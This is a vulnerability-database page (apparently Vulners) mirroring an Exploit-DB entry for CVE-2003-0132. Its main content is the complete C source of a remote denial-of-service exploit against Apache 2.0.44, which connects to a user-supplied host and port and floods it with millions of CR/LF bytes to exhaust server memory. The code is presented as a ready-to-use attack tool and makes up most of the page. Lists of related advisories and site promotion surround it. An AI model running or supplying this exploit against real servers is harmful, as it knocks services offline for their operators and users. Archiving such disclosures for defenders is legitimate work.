Lucene search
+L

Apache 2.0.44 (Linux) - Remote Denial of Service

🗓️ 11 Apr 2003 00:00:00Reported by Daniel NystramType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 66 Views

Remote Apache DoS exploit using 8000000 newlines to exploit memory leak in Apache 2.0.44

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Apache < 2.0.46 Multiple Vulnerabilities
20 Aug 200400:00
nessus
nessus
Tenable Nessus
Apache 2.0.x < 2.0.45 Multiple Vulnerabilities (DoS, File Write)
3 Apr 200300:00
nessus
nessus
Tenable Nessus
Mandrake Linux Security Advisory : apache2 (MDKSA-2003:050)
31 Jul 200400:00
nessus
cve
CVE
CVE-2003-0132
3 Apr 200305:00
cve
cvelist
Cvelist
CVE-2003-0132
3 Apr 200305:00
cvelist
debiancve
Debian CVE
CVE-2003-0132
3 Apr 200305:00
debiancve
exploitdb
Exploit DB
Apache 2.x - Memory Leak
9 Apr 200300:00
exploitdb
httpd
Apache Httpd
Apache Httpd < 2.0.45 : Line feed memory leak DoS
2 Apr 200400:00
httpd
nvd
NVD
CVE-2003-0132
11 Apr 200304:00
nvd
openvas
OpenVAS
Apache Web Server Linefeed Memory Allocation Denial Of Service Vulnerability
2 May 200900:00
openvas
Rows per page
/******** th-apachedos.c ********************************************************
* *
* Remote Apache DoS exploit *
* ------------------------- *
* Written as a poc for the: *
*
* This program sends 8000000 \n's to exploit the Apache memory leak. *
* Works from scratch under Linux, as opposed to apache-massacre.c . *
*
*
* Daniel Nyström <[email protected]> *
*
* - www.telhack.tk - *
*
******************************************************** th-apachedos.c ********/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>


int main(int argc, char *argv[])
{
int sockfd;
int count;
char buffer[8000000];
struct sockaddr_in target;
struct hostent *he;

if (argc != 3)
{
fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
fprintf(stderr, "\n----------------------------------------------");
fprintf(stderr, "\nUsage: %s <Target> <Port>\n\n", argv[0]);
exit(-1);
}

printf("\nTH-Apache DoS\n");
printf("-------------\n");
printf("-> Starting...\n");
printf("->\n");

// memset(buffer, '\n', sizeof(buffer)); /* testing */

for (count = 0; count < 8000000;)
{
buffer[count] = '\r'; /* 0x0D */
count++;
buffer[count] = '\n'; /* 0x0A */
count++;
}

if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname() failed ");
exit(-1);
}

memset(&target, 0, sizeof(target));
target.sin_family = AF_INET;
target.sin_port = htons(atoi(argv[2]));
target.sin_addr = *((struct in_addr *)he->h_addr);

printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
printf("->\n");

if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket() failed ");
exit(-1);
}

if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
{
perror("connect() failed ");
exit(-1);
}

printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr),
atoi(argv[2]));
printf("->\n");

if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
{
perror("send() failed ");
exit(-1);
close(sockfd);
}


close(sockfd);

printf("-> Finished smoothly, check hosts apache...\n\n");
}

// milw0rm.com [2003-04-11]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.86179
66